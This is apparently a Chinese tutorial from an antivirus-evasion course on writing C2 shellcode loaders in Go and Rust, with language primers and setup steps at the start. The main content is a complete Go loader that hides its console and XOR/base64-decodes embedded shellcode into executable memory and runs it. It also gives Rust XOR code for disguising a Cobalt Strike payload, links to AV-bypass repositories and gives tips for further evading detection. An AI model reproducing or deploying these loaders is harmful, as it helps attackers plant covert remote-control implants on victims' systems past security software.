免杀对抗——第一百五十七天

C2远控篇&Golang&Rust&冷门语言&Loader加载器&对抗优势&减少熵值特征

前置知识

Golang
  • 学习链接:Go 语言教程 | 菜鸟教程
  • Go(又称Golang)是Google开发的一种静态类型、编译型编程语言,于2009年发布。它以语法简洁高效、采用原生并发、支持跨平台以及部署方便等核心优点广泛用于云原生以及安全开发领域。
  • 它的基本语法如下:
// =======包声明=======
package <包名>

// =======导入包=======
import <"包名">

// =======声明函数=======
func <函数名> {}

// =======变量=======
var <变量名> <数据类型> = <变量值>
var <变量名> = <变量值>
<变量名> := 变量值  // 只能在函数内部使用

// =======常量=======
const <常量名> = <常量值>
const (
	<常量名> = <常量值>
	<常量名> = <常量值>
	......
)

// =======基本数据类型=======
// 整型: int, int8, int16, int32, int64, uint, byte
// 浮点: float32, float64
// 字符串: string (UTF-8)
// 布尔: bool

// =======数组(固定长度)=======
var arr [3]int = [3]int{1, 2, 3}

// =======切片(动态数组,最常用)=======
slice := []int{1, 2, 3}
slice = append(slice, 4)  // 添加元素

// =======Map=======
m := make(map[string]int)
m["age"] = 25
val, ok := m["key"]  // 检查key是否存在

// =======控制结构=======
// if语句
if x := 10; x > 5 {  // 支持初始化语句
    // ...
}

// for循环(唯一的循环结构)
for i := 0; i < 10; i++ {
    // ...
}

// for-range(遍历切片/Map)
for i, v := range slice {
	// %d 表示整型数字,%s 表示字符串
    fmt.Printf("索引: %d, 值: %d\n", i, v)
}

// switch(自动break)
switch os := runtime.GOOS; os {
case "darwin":
    fmt.Println("macOS")
case "linux":
    fmt.Println("Linux")
default:
    fmt.Println("Other")
}

// =======函数=======
// 函数定义
func add(a int, b int) int {
    return a + b
}

// 多返回值(Go特色)
func divide(a, b int) (int, error) {
    if b == 0 {
        return 0, errors.New("除数不能为0")
    }
    return a / b, nil
}

// 可变参数
func sum(nums ...int) int {
    total := 0
    for _, num := range nums {
        total += num
    }
    return total
}

// =======指针=======
x := 10
p := &x  // 取地址,类似于C++中的引用
*p = 20  // 解引用赋值

// =======结构体=======
type Person struct {
    Name string
    Age  int
}

// =======创建实例=======
p := Person{Name: "Alice", Age: 25}

// 方法(接受者)
func (p Person) SayHello() {
    fmt.Printf("Hi, I'm %s\n", p.Name)
}

// =======接口=======
type Writer interface {
	// 只要实现了接口的所有方法,就自动实现该接口
    Write([]byte) (int, error)
}
  • 这里只是简单的列举了一些Go语言最基本的语法结构,如果想要更加深入的学习,可以看一看B站上的视频或者相关书籍
Rust
  • 学习链接:Rust 教程 | 菜鸟教程
  • Rust 是 Mozilla 开发的系统级编程语言(现由 Rust 基金会维护),核心设计理念是内存安全零成本抽象,目前在系统编程、WebAssembly、区块链以及嵌入式开发等领域应用广泛。
  • 它的核心语法如下:
// =======变量与可变性=======
// 默认不可变
let <不可变变量名> = <不可变变量值>;
let x = 5;  
// x = 6;  // 错误!不能修改不可变变量
// 变量遮蔽(shadowing)
let z = 5;
let z = z + 1;  // 创建了新变量,不是修改

// 可变变量(mut 关键字)
let mut <可变变量名> = <可变变量值>;
let mut y = 5;
y = 6;  // 正确

// =======常量(必须标注类型)=======
const <常量名>: <数据类型> = <常量值>
const MAX_POINTS: u32 = 100_000;

// =======基本数据类型=======
// 整型: i8, i16, i32, i64, i128, u8, u32, usize 等
// 浮点: f32, f64
// 布尔: bool (true/false)
// 字符: char (4字节Unicode)

let guess: u32 = "42".parse().expect("转换失败");  // 必须标注类型

// 元组
let tup: (i32, f64, u8) = (500, 6.4, 1);
let (x, y, z) = tup;  // 解构

// 数组(固定长度)
let arr = [1, 2, 3, 4, 5];
let first = arr[0];

// =======函数=======
fn main() {  // main 函数是入口
    println!("Hello, Rust!");  // 宏(macro)以 ! 结尾
}

// 函数定义(参数必须标注类型)
fn add(a: i32, b: i32) -> i32 {  // -> 指定返回值类型
    a + b  // 最后表达式作为返回值(无分号)
}

// 语句 vs 表达式
fn example() -> i32 {
    let x = 5;  // 语句(不返回值)
    x + 1      // 表达式(返回值)
}

// =======控制结构=======
// if 表达式(必须返回bool)
let number = 6;
if number % 4 == 0 {
    // ...
} else if number % 3 == 0 {
    // ...
} else {
    // ...
}

// loop 循环(可返回值)
let mut counter = 0;
let result = loop {
    counter += 1;
    if counter == 10 {
        break counter * 2;  // 返回值
    }
};

// while 循环
while counter != 0 {
    counter -= 1;
}

// for 循环(最常用)
for element in arr.iter() {
    println!("{}", element);
}
for number in (1..4).rev() {  // (1..4) 是范围语法
    println!("{}!", number);
}
  • 同样,这里只是简单的列举了一些Rust语言最基本的语法结构,如果像更深入的了解还是建议去B站或者找相关书籍扩展知识

C2远控 - 其他语言-Go&Rust-基础环境搭建

Golang
  • 下载地址:All releases - The Go Programming Language

  • 然后就根据自己的系统选择对应的安装包即可:
    在这里插入图片描述

  • 这里最好扶个墙,如果还是下载不了的就将链接放到迅雷中打开下载,安装完成之后,在终端输入go version可以看到版本:
    在这里插入图片描述

  • 然后我们可以用专业的Go语言编辑器GoLand:https://www.jetbrains.com/go/download/,也可以用VS Code安装插件:
    在这里插入图片描述

  • 然后在上面的搜索框中输入>go tools回车选中出现的工具,等待它安装相应的工具,如果没有的就先配置一下Go的代理:

// 配置国内代理
go env -w GOPROXY=https://proxy.golang.com.cn,direct

// 查看go环境变量,如果GOPROXY为我们刚才设置的值即可
go env
  • 当他显示所有工具安装完成后,我们的go环境就彻底搭建成功了,接下来就可以开始使用了:
    在这里插入图片描述
Rust
// 新建一个rust项目
cargo new <项目名>
// 进入项目目录
cd <项目名>
// 运行该项目
cargo run
  • 如果能够成功输出Hello World!就说明环境搭建成功了:
    在这里插入图片描述

  • 也可以通过如下命令去打包成exe文件:

cargo build
cargo build --release

C2远控 - 其他语言-Go&Rust-Loader加载器

Golang
  • 对于Go的加载器,参考链接:
    • https://github.com/Pizz33/GobypassAV-shellcode
    • https://github.com/colind0pe/AV-Bypass-Learning
  • 比如这里我们就简单的看看xor+base64的上线代码文件:
package main

import (
	"encoding/base64"
	"syscall"
	"unsafe"

	"github.com/lxn/win"
	"golang.org/x/sys/windows"
)

func main() {
	// 通过 base64 和 XOR 解密 shellcode 内容
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/pGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
	decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
	for i := 0; i < len(decodedShellcode); i++ {
		decodedShellcode[i] ^= 0x77
	}

	// 获取 kernel32.dll 中的 VirtualAlloc 函数
	kernel32, _ := syscall.LoadDLL("kernel32.dll")
	VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

	// 分配内存并写入 shellcode 内容
	allocSize := uintptr(len(decodedShellcode))
	mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if mem == 0 {
		panic("VirtualAlloc failed")
	}
	buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
	copy(buffer, decodedShellcode)

	// 执行 shellcode
	syscall.Syscall(mem, 0, 0, 0, 0)
}
  • 这里我们需要先安装这个package包,如果在GoLand里面它会自动安装,在VSC中,我们需要运行如下命令:
# 假设这个文件名为xor.go
# 生成go.mod文件
go mod init xor
# 生成go.sum文件
go mod tidy
  • 它就会在当前文件夹下生成go.mod和go.sum文件,此时包就下载好了,然后我们直接运行即可:
# 直接运行go文件
go run .\xor.go

# 打包为exe文件到指定文件夹
go build -o D:\xor.exe .\xor.go
  • 这里关掉杀软再生成,但是这个代码目前是啥也过不了,因为特征太明显了,所以还是需要再进行混淆
  • 比如这里有两种方式:
    1. 处理EXE熵值,加签名和资源保护
    2. 在Go代码中换加载器逻辑代码(Go开发)
  • 第一个方法在后面的课程中会讲到,第二个方法由于我不太会Go语言开发,所以目前只能AI生成然后自己慢慢改,这个就自己下去看看就好了
Rust
  • 同样,我们也有直接可用的项目:https://github.com/b1nhack/rust-shellcode
  • 然后这里也是简单的看看即可,如果要进一步学习,可以自己下去慢慢改代码,和之前都是类似的,比如这里我们用xor的加载器:
    在这里插入图片描述
fn main() {
    let shellcode = include_bytes!(".\\calc.bin").as_slice();
    let key = "llll@#^&%%1234jvd";

    let encrypted = xor_encrypt(&shellcode, &key.as_bytes());
    println!("Encrypted: {}", encrypted);

    let decrypted = xor_decrypt(encrypted.as_bytes(), key.as_bytes());
    println!("\nDecrypted: {:?}", decrypted);
}

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
    let mut encrypted = Vec::new();
    for (i, &b) in shellcode.iter().enumerate() {
        encrypted.push(b ^ key[i % key.len()]);
    }
    base64::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec<u8> {
    let encrypted = base64::decode(encrypted).expect("msg");

    let mut decrypted = Vec::new();
    for (i, &b) in encrypted.iter().enumerate() {
        decrypted.push(b ^ key[i % key.len()]);
    }
    decrypted
}
  • 先在CS中创建一个payload.bin文件,然后在这个文件中进行异或混淆,然后通过xor_loader去加载上线
  • 虽然能够成功上线,但是很显然这个特征太多了,还是需要进一步修改混淆,这里我也不改了,这个rust看不太懂,反正也和之前差不多,有时间的就自己下去尝试改改
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐